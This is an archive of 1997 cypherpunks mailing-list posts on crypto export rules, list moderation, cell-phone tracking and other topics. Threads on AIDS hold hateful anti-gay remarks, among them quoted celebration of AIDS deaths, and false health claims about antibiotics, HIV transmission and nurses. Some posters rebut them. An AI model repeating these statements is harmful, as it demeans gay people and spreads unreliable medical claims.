In <Pine.LNX.3.95.970125111610.12982A-100000@dhp.com>, on 01/25/97 
   at 12:32 PM, aga <aga@dhp.com> said:

+Which Attila the Hun is this?
+Is this the rec.nude guy?
+-aga

    response --------------

        I will not say "what is 'rec.nude'" but I have never been there;
    isn't that the one for nudists camps or some such? never been much 
    into worrying about what I wore, or making the statement I did not! 

        I always thought a little mystery was good for both sides:

            she knows not if I have a small dick, 
                I know not if she has no tits;

            la, la, la.. ..

        as to multiple "Attila the Hun" accounts, I probably have as 
    good as any original stake on the name as far as the net goes: 
    --Bell Labs hung it on me in the mid 70s when I was doing some 
    contract work on the unix kernal for Western Electric for the spook 
    show. The name stuck, and why bother to change?

        Other than the fact the nudist might be a real loser, I could 
    care less about a nym;  there are multiple users on other nyms (for 
    all we know, Tim May is a nym and the name is common); you can 
    usually guess by context who is who.  how many of us have actually 
    seen each other face to face (who would want to <g>)?  so, in most 
    cases, real names are no different than nyms in a make believe 
    world.

        now, all that being said...  

        it has been asked... "who the fuck are you?"
        to which I reply: "...good choice of expletives."

        "nobody, I guess;
        "well, let's see...
        "I have a Piled higher and Deeper in Information Techniques from 
    Zuerich (undergrad at Harvard in dual honors physical chemistry);
        "I have been around since before the dawn of arpanet, probably 
    even longer than TCMay; in fact, I was born before Franklin D. 
    Roosevelt dusted off Wendell L. Willkie; 
        "...but I've never held a 'job;' 
        "I have personally coded more than a few 250,000+ line packages, 
    which made me quite comfortable at one time, even if more than one 
    did go down the black hole (along with countless other projects like 
    the bit-slice hardware and firmware to replace B3500s in missle 
    silos);         
        "I have been the hatchet man in numerous high tech recoveries;
        "I have been detained for crypto offenses by the Feds; 
        "I have been detained for 'treasonable' technology export;
        "I have been charged;
        "...a long time ago, in a land far, far away, there was more 
    than one tour in the Corps' "deep-deep black" special operations; 
    the battalion commanding officer for the 'Let's kill 'em all' vacant 
    eyes, the misfits; 
        "a combat chopper pilot; 
        "an instrument rated multi-engine pilots license;
        "a rider of a 102 in. 115+ mph qtr. miler hawg on the street;
        "plus a few other reasons to guarantee an autobiography found on 
    the fiction shelf."

        while playing Hotel California:

            So, who the 'fuck' am I?
            Just another aging 300 lb gorilla, 
            long haired hippie, California freak, 
            with yet another loud outlaw chopper.

        "Oh, yeah, I forgot, I hold a license to practice before the 
    court in a couple European countries (not that I would waste my 
    time...)." 

        "So, who am I, really?  

        "Nobody, I guess, just attila!" 

  ==
  "you probably will not be last,
    you may not be next,
      but you are certainly too late to have been first.  
            --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMuqidr04kQrCC2kFAQGiqgQAqu6qHbbX61IkM0YBXnFAZ2divzWvWPWB
vt/+BHXq55PHmAPq1m2v5Yf0Jnam03abm4hFkvQLFtCg05i8bRaU5L8QiWyJJ3z0
wtMrDKF9VqRtSDhSwUoVwS2affnUUViE4GPBjezNCnuTtwHQ0fr7vgqq8IUr8q4I
dDLp/VCMniE=
=9nng
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 25 Jan 1997 22:03:41 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EAEFED.23AA@gte.net>
Message-ID: <199701260557.XAA01422@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > > One could argue that in the cases where the cures (antibiotics) add to
> > > a person's problems by further corrupting their immune system, that
> > > they should simply change their habits.  Since I don't see that as a
> > > reasonable possibility, the only thing left is that the public should
> > > be made aware of *all* of the relevant facts, even those which are
> > > heavily suppressed now for PC reasons.
> 
> > Why do they take antibiotics?  Just curious.
> 
> I'm not precisely sure, but remember, I'm not saying that your typical
> suburban, well-to-do, successful gay male falls into this category.
> 
> There are, OTOH, a lot of people in the city who have lifestyles which
> are not represented accurately in the prime-time sitcoms, and the ones
> who fall into the greatest health-risk category are IV drug users and
> gay males (in the city, remember - i.e., Santa Monica boulevard).
> 
> Remember too those ads for male sexual lubricants - you cannot use
> a condom with those lubricants.  Safe sex, I don't think so.

That does not come close to a theory that would explain HIV away.

> > Also, I haven't heard that antibiotics were bad for immune system,
> > has that been proven?
> 
> You're kidding, yes?  Anything besides good food, exercise, sleep etc.
> is bad for the immune system.  Antibiotics (usually "dead" germs of
> some sort) are horrendous things to inject directly into your system.

This may very well be true. I try to never use antibiotics,
because I had allergy when I was a child and I also do not
like taking any medications.

There needs to be something more convincing than these generic
statements, if you want to create some plausible theory.

> In October 1959, after lapsing into a coma from a massive sinus
> infection, I was given "a million units of penicillin" in the
> children's hospital when first admitted.  I recovered OK after
> two weeks, so I'm certainly not opposed to antibiotics for those
> who really need them.  OTOH, our U.S. economy today is antibiotic-
> and-hormone crazy, injecting cows, pigs, and chickens to name a few
> animals, all in the hopes of raising production.  So why is the rate
> of cancer going up so high?  It seems nearly everyone I know is
> getting this degenerate disease when they get older.  Check out the
> videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> One quote:  "My soil after a few years was like asbestos".

As far as I understand, 1) no one really understands why cancer rates
are up so much and 2) since people live longer, they are more likely do
have cancer.

What you said is one of the hypotheses. I personally feel that
environment and bad greasy food are other major contributors.
The way they cook all these fries, with overheated grease, is very
bad.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gtaylor@gil.com.au (Greg Taylor)
Date: Sat, 25 Jan 1997 05:58:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have info on foreign "ITARS"
Message-ID: <199701251357.XAA02371@iccu6.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
>Does anyone have any pointers to info about the import/export
>restrictions on encryption products in various countries. I know any
>such summary would be very dynamic, but perhaps there's something
>out there.

The Australian regulations are available at:

CUSTOMS (PROHIBITED EXPORTS) REGULATIONS - SCHEDULE 13 
   http://www.austlii.edu.au/au/legis/cth/consol_reg/cer439/sch13.html

and:

AUSTRALIAN CONTROLS ON THE EXPORT OF DEFENCE AND STRATEGIC GOODS:
   http://www.adfa.oz.au/DOD/al/iic/excontrl/excohome.htm
Crypto software comes under Part 3, Category 5/2 of these regulations.
(These documents are in MS Word format)
 
ADFA, for those who are not aware, is the Australian Defence Force
Academy, the major tertiary training institute for the defence forces.

I have an extract of the key clauses of these regulations if anyone is
interested.

Briefly, the Australian regulations ban cryptography exports, claiming
responsibilities as a party to the Wassenaar Arrangement, although the
actual details of the latter regarding crypto seem obscure.  However, an
export license can be obtained on application to the Defence Ministry.
The conditions of such a license are not openly stated, and at least
one Australian software company has been refused a license.

It would seem that even "public domain" software such as PGP is covered
here.  Ironically, the international version of PGP is available from the 
ADFA site at:
     ftp://ftp.adfa.oz.au/pub/security/pgp263i/
 
The government attitude to crypto policy generally in Australia is much
more relaxed than in the USA.  There is a recognition of business and personal
need for strong crypto and that a balance needs to be sought between those
needs and that of the law enforcement community.  Although key escrow has
been raised as an issue in some circles, it has not formed part of any 
government policy as yet.

Greg Taylor
EFA Crypto Committee





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 25 Jan 1997 22:07:21 -0800 (PST)
To: attila@primenet.com (Attila T. Hun)
Subject: Sort this directly to Flames, was Re: Homosexuals
In-Reply-To: <199701242112.NAA07645@toad.com>
Message-ID: <199701260623.AAA00365@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> In <199701241414.GAA25350@toad.com>, on 01/24/97
>    at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:
> +Anything?  My good friend TRRCJ3 reports from San Francisco that the
> +city is much nicer now that so many homosexuals are 6 feet under.
> +Thank God for AIDS.
>         when AIDS was relatively obscure, I always dismissed AIDS as
>     God's response to homosexuality (and other crimes against nature);
>     i.e. -settlement by a just God.

     I almost threw a dumb ass redneck of a ship in the middle of the ocean
for a comment like this.

    I've read a lot of your rantings on this list, and I agree with some of 
them, but statements like this prove that you are a bigoted idiot. You may
have some areas where you know what you are talking about, and I wouldn't want
to be on the sharp end of a gun you were holding, but your head is definately 
stuck firmly up your ass. 

>         Unfortunately, some of these boy-girls could not keep it among
>     themselves, and the closet queens brought it home.  AIDS replicates

     Let's not forget the Hemophilliacs(spelling) and IV drug users.

>     asexually, knowing no boundaries.

     It was purely by accident that HIV was first noticed in the Homosexual 
population in this country.

    Viruses don't know anything about a persons sexual preference, and any 
so called "god" that would use such a non-selective weapon is not a god 
intelligent people should worship. Such a god would be a blind ignorant god.

>         I would not wish the disease upon anyone, but if you play, you
>     just might pay --as in "...reap what thy hath sown."

    Tell that to some 1 month old whose mother infected him/her. Tell that
to a 5 year old who got it from a blood transfusion. 

>         To be strongly opposed to homosexuality has nothing to do with
>     bigotry, political correctness, or aberrationist apologists; it is
>     an exposition of the natural order among the species.

     Answer me 2 questions:

     1) If homosexuality is a "choice", why would anyone choose that lifestyle
where the averge life expectancy is in the 40's, that causes so much pain 
among ones family, and so much conflict with the rest of society.

     2) If it is not a choice, why would "god" punish those who had no choice? 

>         and for those who deny God, read Darwin as to the relative
>     rate of survival for deviant and/or abnormal species.

     Then how do you explain homosexual behavior in several other species 
that seem to be doing quite well?

     The answer is you can't. You adopt a knee-jerk position that reinforces
your deliberate isolationism. Anything that may cause you to question your 
worldview gets sorted to /dev/evil and you plow ahead like some pig ignorant 
dough boy killing as ordered for king and country.

     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 01:21:08 -0800 (PST)
To: Lou Zer <satan_is_a_hacker@juno.com>
Subject: Re: [No Subject:]
In-Reply-To: <199701251610.IAA28175@toad.com>
Message-ID: <3.0.1.32.19970126004030.0062f040@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 1/25/97 EST, Lou Zer wrote:
>You missed the hole point. You read that BECAUSE their was no header, if
>it was ANARCHY you would have just deleted it.

Not necessarily; I _am_ an anarchist, after all.
The rest of the header is enough of a potential deterrent, anyway.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: john@travelcash.com (Dr. John Holleman)
Date: Sat, 25 Jan 1997 17:13:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Saw Your Post
Message-ID: <B0000034354@www.netease.net>
MIME-Version: 1.0
Content-Type: text/plain


Interested in traveling and, in the process, earning income in a business that is profitable and realistic?
To receive an instant presentation on how to travel the world and generate solid income, send a blank email to:   travel@megd.com

You should receive the presentation in your email inbox in 10 seconds.

Be Good. You Are.
Dr. John Holleman





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:45:34 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260509.XAA01076@manifold.algebra.com>
Message-ID: <32EB23B4.67E8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems. 

> Why do they take antibiotics? Just curious.

  Both male homosexuals and IV drug-users have always suffered from
an inordinate amount of infections, etc., because they are engaging
in physical behavior that Mother Nature had not anticipated, since
the behavior fulfills more of a psychological need than a physical
one.
  Perhaps Mother Nature is homophobic and anti-drug, but, at any 
rate, she did not design the butt-hole to allow virus-free insertion
of outside objects, nor blood-veins to be pierced regularly in
order to insert condensed chemical combinations.
  As a result, those who engage in these behaviors have always had
to deal with the physical effects which result from Nature's 'error'.
IV drug users have always had high incidences of jaundice, etc., 
while male homosexuals have had to contend with various forms of
venereal disease, etc.  In both cases, they end up in a continuing
cycle of antibiotic use.

> Also, I haven't heard that antibiotics were bad for immune system,
> has that been proven?

  There has been great concern raised among those in the medical 
profession regarding the end-effects of their wholesale prescribing
of anitbiotics for colds, aches and pains, etc., leading to the 
development of new strains of virus which are immune to the older
antibiotics. This leads to development of stronger (misused)
antibiotics, which then leads to stronger strains of virus.
  There have been a number of studies which point to the fact that
the human immune system is now caught in a battle between increasingly
potent virus and antibiotics and is losing its capacity to fight
its 'natural' enemies.

  Humans tend to base their 'judgements' on psychological critera.
Thus someone who puts a quart of scotch in their system every day
can turn around and call someone who is putting outside objects 
into their butt-hole a 'pervert' who is doing 'unnatural' things
to their body.
  Personally, I prefer to kill two birds with one stone, so I put
a quart of scotch up my butt-hole every day.

Toto
 
>         - Igor.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 01:25:16 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0B28.3F64CFA0@king1-28.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto and Jim Choate were having a little disagreement about the rights of 
nations to maintain the boundaries of ignorance around their "citizenry", 
and Jim said that no one outside a nation's boundaries should feel moved to 
interfere with the program:

> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.
............................................................


Normally, I would agree that people who choose to live within a certain 
locale and choose the kind of government that they will live with and the 
kind of policies that they will accept as impositions upon their lives, 
should be allowed to "enjoy the fruits of their labors".

But on further examination of the situation in 'foreign' countries, these 
things must be realized:

.  Individuals do not agree with each other 100%

.  Individuals living within the boundaries of a nation will not agree with 
each other 100% about the kind of government they should have

.  Many of the individuals living within the boundaries of *any* nation do 
not have 100% control over which policies, or the quality of them, they 
will have to live under

.  It is not uncommon for "leaders" of nations to take advantage of their 
position to benefit more from the contributions of their citizenry than 
vice versa (the citizenry benefitting from their leadership)

.  It is not uncommon for there to be proportionately more people in favor 
of living in a state of dependence than not;  and it is not uncommon for 
those who favor dependence to favor proposals which seem to put them on the 
receiving end of "benefits" (versus being contributors); and it is not 
uncommon for these "benefits" to be derived at the expense of such virtues 
as freedom and liberty

.  Many individuals reside within a nation not because they favor its po  
litics, but because they feel more comfortable among their own kind than 
with strangers elsewhere - for example, Chinese who have lived in China all 
their lives (and whose ancestral roots are there) will wish to stay there 
and do what they can within the boundaries of that nation, rather than for 
instance moving to Canada, when the going gets rough.

Given these things, nevertheless it is true that the internet , among other 
events in our "modern" world, is opening up avenues towards advantages and 
benefits hitherto difficult to comeby.   As many of you are aware, many 
people are beginning to identify with a global network of friends and 
co-workers according to their particular (or peculiar) interests, rather 
than with the "Old Order".   It is becoming moot what nationality or what 
government or what company one works for - the loyalties of the past are 
being tested and re-configured in the minds of those who now do business 
and communicate and share things and develop friendships, acquaintances, 
and empathies, on the net.

So to speak of "having a say" on how Singapore or China or any other 
nation-state runs "our web" or vice versa "us" having a say on how they run 
"their web" is becoming irrelevant.   Economics will be determining how the 
web is run, and by whom.     The identity of those who use it will be not 
"those who are citizens of Singapore", but:  "my friend who lives in 
Singapore and is having a hard time accessing a file that I wanted him/her 
to have".   Affiliations will be seen differently by those who connect in 
cyberspace, and if certain of one's cyberspace friends are having problems 
- if, say, a Hitler were to suddenly rise up in their midst - then the 
netizens could send their emergency alert out to anyone and everyone on the 
net about a problem brewing which perhaps someone could help them deal 
with, according to their ability to do so.

It is true that individuals still live within the physical boundaries of 
"nations" which have formed in the past, and they still hold the concepts 
of these boundaries in their minds and they still identify closely with 
these, and they still vote problems upon themselves.   But it is becoming 
an anachronism, and it is becoming inaccurate to speak of "what 
Singaporians want for the internet".    This phrase would describe many of 
those who live in Singapore, but not all of them.   It is more accurate to 
speak of what  "individuals who use the internet" want, of what 
 "individuals who want to communicate" want, of what  "individuals who want 
to connect with others" want.

The identifications of self as a citizen who must be identified with the 
vote of a majority, and consequently suffer the perception of oneself as 
someone who "voted to accept restrictions of the net, therefore should not 
be helped against it", is becoming irrelevant.   When a distress call goes 
out from someone anywhere on the planet, the assistance and relief may come 
from anyone anywhere who chooses to rally others and provide assistance.

It is not the traditional "we" against "them", and it is not the "citizens 
of the US" helping those who "voted themselves a Hitler into power" or 
"voted themselves into restrictions against free speech".   It is "those of 
us who appreciate the liberty in communications technology" against "those 
who would take it away".

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:45:38 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701260531.XAA01225@manifold.algebra.com>
Message-ID: <32EB25C5.6FB7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > Dale's hypothesis seems at odds with the linkage of aids and blood
> > transfusion and transmission through needles.
> > Nurses who contract aids through contaminated needles do not,
> > normally, have devastated immune systems.

> It seems to me that "proof" of someone acquiring AIDS from one stab
> with a contaminated needle is a very nebulous thing. As far as nurses
> go, the contact I've had with many of them tells me they are also
> (on average) drug users extraordinaire. 

  Nurses have free access to all types of antibiotics and high-inducing
drugs, and a good many of them are regular users of both.
  Hospitals are notoriously bad places for healthy people to go, as many
go in with little diseases and come out with big diseases (for which
they are often re-hospitalized).
  Also, outward appearances rarely have a whole lot to do with
indications
of a superior auto-immune system. Plants have been bred to 'look pretty'
for the consumer, so we now have unblemished food stuffs which require
huge applications of poisonous chemicals in order to survive, because
they have lost their natural ability to defend themselves against even
ordinary plant pests and diseases.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 00:01:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ultimate Flames List
In-Reply-To: <md5:DDE3023A3777C55A3CF882F35D08AC0E>
Message-ID: <32EB2B89.2B4B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
 > My point about the antibiotics is that the male gays take a dis-
 > proportionate amount of them, which compounds their problems.  It
 > suggests to me that the immune system is already seriously
debilitated
 > or damaged before AIDS can take hold, rather than the notion that a
 > healthy person can get it from the virii alone.
 
   It has been suggested that disease is merely an attempt by Nature to
 'moderate' the species.
   One could make a strong case for Nature merely 'sorting' individuals
 into physical lists, one of which is her own 'flames' list. It remains
 to be seen whether Nature also plans on dropping the 'flames' list
 after her moderation experiment is over.
 
 Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 02:24:10 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Cellular location...
In-Reply-To: <199701260110.RAA06000@toad.com>
Message-ID: <3.0.1.32.19970126020648.0063ab98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:54 PM 1/25/97 -0500, Mark M. wrote:
>> Companies working on the technology to track cellular phone calls
>> [...]
>I wonder how expensive it would be to put a GPS receiver in a cell phone and
>have the option to transmit the coordinates on a separate channel.  

Pretty expensive - GPS receivers currently cost ~$200, which is more
than the average cell phone, and needs a whole separate set of 
radio-receiver hardware, so you'd about double the size of your phone.
On the other hand, the cell sites already know which you're close to,
and can easily enough track when you've made transitions between cells.
So they can get a good start on location by processing information that the
phone companies need to have anyway.  Would they save any of this
for later?  Of course not :-)

>"location escrow" to make it easier for the feds to track drug dealers.
And everybody else....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bernard <bernard@xs4all.nl>
Date: Sun, 26 Jan 1997 17:45:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DPT   Win 3.xx,  95,  NT   ENCRYPTION program
In-Reply-To: <199701261600.KAA04355@manifold.algebra.com>
Message-ID: <32EB2D79.7C5B@xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


> Igor Chudov @ home wrote:

> > Newsgroups: comp.security.misc
> > * DPT   Win 3.xx,  95,  NT   ENCRYPTION program

> > * at;      http://www.xs4all.nl/~bernard

> > Bernard, thanks for an interesting post. I am Cc-ing your message to
> > Cypherpunks mailing list which is ostensibly dedicated to discussions
> > of cryptography.
> >
> > As follows from info on your home page, you do use simple XOR to
> > encrypt your data. It was not clear to me though, how do you generate
> > the keys to encrypt the data. I am sure that many readers of cypherpunks
> > mailing list will be interested, so please send a copy of your reply
> > to cypherpunks@toad.com.

You can enter a short key or import one with command [Get Key]. This is, you point
any file, and the key will become the 30000 first characters of this file.

You can get this file any where on your machine, the network, the internet, foppy,,,,,
If you add (paste or type) or delete characters at the begining of the imported key,
the reste will shift right, and this imported key become a new key.

You can't remember a key of 30000 chr (so you have to store it) but you can remenber the 
the change you made (10 to 100 or more chr) and of course, don't store it.

Thank you for your interest.
 
 DPT dos  /  DPT16 /  DPT32     http://www.xs4all.nl/~bernard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:15:20 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: overview.htm (fwd)
Message-ID: <01BC0B2F.588DFCC0@king1-04.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


>Igor Chudov @ home wrote:
>>>Jim Choate wrote:
>>>>>Dr.Dimitri Vulis KOTM wrote:
>>>>>>>irrelevant@nowhere.com wrote:
>>>>>>>>>>Dale Thorn wrote:

It can be said 100,000 times, but it still comes out the same:
Just as in "The only cure for bad speech is more speech", "the only
cure for 'list-focus-drift' is more on-focus postings".







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:15:24 -0800 (PST)
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <01BC0B2F.5CF108C0@king1-04.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.
.................................................

Well, Toto, if you don't like this obeservation, you can always unsudribe 
from "unmoderated" and subcrive to "expurgated".   There's also a rumor 
about a new "exfoliated" list for Snakes of Medusa starting up....

(I swear, I Toto is a tentacle of TCM)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:33:41 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: US Info Supremacy
Message-ID: <01BC0B31.E81ABA20@king1-17.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	John Young

Hello, Tim May and our other solons and Solomons.
........................................

He must be on vacation; he hasn't posted in quite a while.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 02:33:46 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Rejection policy of the Cypherpunks mailing list
Message-ID: <01BC0B31.EC43CA60@king1-17.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.
.................................................

Well, Toto, if you don't like this obeservation, you can always unsudribe from "unmoderated" and subcrive to "expurgated".  

(There's also a rumor about a new "exfoliated" list for Snakes of Medusa starting up....)

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 00:46:01 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701260749.AAA25243@infowest.com>
Message-ID: <32EB3666.62F8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
>         I question how Sandy can accept the job as moderator, passing
>     judgement on 100-300 messages per day.  just trimming spam is
>     questionable: what is spam?  flames: what draws the line at flames:

 It is whatever the moderator decides it is, depending upon h/is/er 
intelligence, understanding, mood, command of language, sobriety,
etc., etc., etc.

>         and, I think cypherpunks is setting an atrocious example of our
>     own narrow mindedness (creditable or not) when we sanction any
>     filtering of what we see --is this not **exactly** what we accuse
>     the controlled media of determining what is "fit to print?"

 I am certain that there are members of the controlled media who are
ROTL at the CypherPunks following in their footsteps, after having
belittled the media for years for their sheep-mentality.
 
>         unfortunately, we are demonstrating to our critics that 
>         a)  net anarchy does not work
>         b)  cyberlibertarianism breeds anarchy
>         c)  we're loose cannons on the deck
>         d)  we are not civilized enough to warrant respect

 We are also demonstrating that all of the CypherPunk rhetoric about
cryptography and freedom and... was just a lot of 'smoke' being 
blown by a bunch of pretenders who folded like a busted flush when
they were 'told' that the man who owns the Machine will now subject
them to the whims of whatever moderation he sees fit to impose on
the list.
  Cryptography is about privacy. Apparently, however, the New List
Order is of the opinion the Privacy Without Freedom is an obtainable
goal.

>         --catch22: just how do set the laws on limits, and how do you
>     enforce the limits if you have voted to dissolve all 'government'
>     and 'police?'

  It doesn't matter if the 'owner' of the list/Machine decides that s/he
is now the government, with the power and/or right to make all decisions
concerning the list.

>         good luck, Sandy;  make sure you pull a sanity check everyday
>     when you start and finish the onerous task!

  I think that anyone who thinks that moderation is, or could ever be,
anything other than a dance into the arms of the establishment, is
already crazy.
  For the record, I don't think that either John or Sandy is crazy.
I think that they have their own pre-established goals which others
on the cypherpunks list are not privy to.
  Of course, this is my personal opinion, and I could be wrong.
  On the other hand, I could be 'right' like I am about everything
else.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 26 Jan 1997 02:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Toto's database
Message-ID: <3.0.32.19970126025513.006ba14c@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto writes:

>My database seems to indicate a direct co-relation between the
>number of postings criticizing moderation and the number of
>UCE/Spam postings showing up on the list.

An interesting assertion. Is your database available for others to draw
their own conclusions from? I'd appreciate seeing at least a first-level
abstraction of the data, e.g., the number of messages posted in opposition
to moderation and the number of "spam" messages posted, listed by date. The
possibility that other factors caused the correlation you mention suggests
that other categorizations (e.g., total # of messages, # of messages which
are not spam nor related to moderation, and # of pro-moderation messages)
would also be useful, although I notice you do not mention those statistics.

Of course, correlation alone doesn't tell us much. If it really exists, it
suggests that the two phenomena observed are related in some way, but it
doesn't tell us the nature or the cause of the relationship. (All serial
killers drink water; but are all water-drinkers serial killers? Does
drinking water cause a person to become a serial killer?)

One explanation would be the link you suggested, that a moderation
proponent is sending (or causing to be sent) the spams as a way to make
moderation seem more attractive, or to detract attention from the
anti-moderation arguments. (If that really worked - e.g., if spam had the
effect of reducing the effectiveness of certain arguments, or of being
harmfully "diversionary" - wouldn't that suggest that moderation was, in
fact, necessary or at least useful? Hmm.)

Another explanation would be that a moderation opponent is sending the
spams as a way to punish the proponents of moderation.

It's further conceivable that you don't have a big enough data set to draw
meaningful conclusions from. The moderation decision, implementation, and
associated arguing have taken place within three weeks (John Gilmore's
original announcement was sent Sunday 1/5/97); it's hard to see how you're
going to be able to distinguish signal from noise in such a small data set.
I think this is especially true given the relatively inexact nature of the
"spam" weapon; as far as I can tell, apart from Dmitri's ASCII
art/cocksucker messages, the spams we've received have been from real live
spammers (not pissed-off listmembers) who harvested the
"cypherpunks@toad.com" address from messages sent to Usenet as spam bait.
Inherent in the "spam bait" attack is a lack of precise control over when
messages will be sent, or how many will be sent; so I'm curious about the
reliability of a correlation you've found between the actions of
distributed third parties (who are pursuing their own, cypherpunk-ignorant,
goals) and messages sent to the list.

Yet another explanation might identify external factors (like the recent
storms in the American midwest) which caused people to send more messages
independent of their ideology or content. My ISP, io.com, recorded much
heavier mail flow recently (to the point that it created problems for
delivery) during the storm; speculation is that people were stuck at home
for several days and turned to the Net to amuse themselves. Such an event
might cause otherwise independent-minded groups (spammers and moderation
opponents) to act in similar ways, like sending more messages than usual.
Of course, one would expect to see a rise in all message traffic, were this
the case.

Perhaps you'll be good enough to make your database available so that we
may each draw our own conclusions. I'm looking forward to hearing more
about how you derived this correlation. (If you have trouble finding a
server from which to make the data available, just say so; if nobody else
has a handy server, I'll add it to my web page.)

>Has anyone actually 'seen' John Gilmore, lately?

He was at C2Net's party last Friday night (1/24), being interviewed by some
folks from a Japanese TV program.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 03:42:14 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701221210.EAA23236@toad.com>
Message-ID: <3.0.1.32.19970126032853.00649120@popd.ix.netcom.com>
MIME-Version: 1.0
